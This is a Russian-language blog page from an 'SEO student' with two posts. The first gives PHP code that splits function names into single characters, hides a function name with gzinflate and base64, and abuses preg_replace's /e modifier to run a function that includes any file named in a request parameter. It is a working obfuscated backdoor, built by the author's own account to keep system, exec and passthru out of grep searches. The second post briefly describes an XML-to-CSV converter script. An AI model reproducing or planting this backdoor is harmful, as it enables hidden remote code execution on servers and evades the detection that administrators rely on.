Мои скрипты | Блог сео-студента

«Мои скрипты»

Замена eval() в php

15-07-2023

1

Недавно ломал голову над тем, есть ли замена функции eval() в php.

Задача: Сделать возможность вызова функций system, passthru, exec и т.д. так, чтобы в коде не было упоминания имен этих функций, то есть, чтобы при поиске по исходникам (grep -rl ‘function‘ /path) данные функции не светились.

Немного поломав мозг, пришел к такому решению:

// функции для выполнения
$funcs = array(
	'g'.'z'.'i'.'n'.'f'.'l'.'a'.'t'.'e',
	'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e',
	'p'.'h'.'p'.'i'.'n'.'f'.'o'
);
 
$strng = 'KyhKLUtNAQA='; # прогнанный через gzinflate base64 хэш имени функции (preved)

function preved() {
############## Здесь любой код для выполнения ############
	(isset($_REQUEST['c'])) ? include($_REQUEST['c']) : die();
###########################################################
}
 
function test() {
		global $funcs, $strng;
		$result = $funcs[0]($funcs[1]($strng));
	return $result(); // заменить на $func[X], если не нужно вызывать функцию preved()
}
echo preg_replace("/123/e",test(),456);

Как видно из листинга, скрипт использует баг в функции preg_replace() с флагом /e. Разобраться с ним не сложно.
В результате получился скрипт, который может выполнять практически любые функции, кроме eval(), так как:

это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций (c) мануал

Единственный минус – можно выполнить поиск по имени функции preg_replace(), но ее можно зашифровать аналогично примерам из скрипта или любым другим способом.

Xml2csv Converter

04-02-2023

7

Xml2csv - скрипт, который конвертирует файлы в формате XML в формат CSV (MS Excel).
Изначально скрипт был написан мной для конверта xml баз партнерки Sotmarket, но его так же успешно можно использовать и для других xml файлов. Достаточно лишь поместить их в директорию files, а затем выбрать из списка.